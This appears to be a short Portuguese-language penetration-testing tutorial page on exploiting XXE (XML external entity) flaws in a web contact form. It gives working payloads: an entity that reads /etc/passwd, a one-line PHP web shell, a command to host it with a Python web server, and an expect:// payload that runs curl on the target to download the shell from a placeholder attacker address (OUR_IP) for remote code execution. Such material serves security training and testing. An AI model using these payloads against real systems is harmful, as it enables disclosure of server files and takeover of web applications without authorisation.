Identificar XXE

  • O primeiro passo para identificar potenciais vulnerabilidades XXE é encontrar páginas da web que aceitem uma entrada XML do usuário.

  • Se preenchermos o formulário de contato e clicarmos em Send Data, então interceptamos a solicitação HTTP com Burp

Lendo arquivos confidenciais

  • Vamos agora enviar a solicitação modificada e ver se o valor da nossa entidade XML externa é definido para o arquivo ao qual fazemos referência:

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

Execução Remota de Código com XXE

  • O método mais eficiente para transformar XXE em RCE é buscar um web shell do nosso servidor e escrevê-lo no aplicativo web, e então podemos interagir com ele para executar comandos. Para fazer isso, podemos começar escrevendo um web shell PHP básico e iniciando um servidor web python, como segue:

echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
  • Agora, podemos usar o seguinte código XML para executar um curlcomando que baixa nosso shell da web no servidor remoto:

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

O módulo expect não é habilitado/instalado por padrão em servidores PHP modernos, então esse ataque pode não funcionar sempre. É por isso que o XXE é geralmente usado para divulgar arquivos locais sensíveis e código-fonte, o que pode revelar vulnerabilidades adicionais ou maneiras de obter execução de código.

Last updated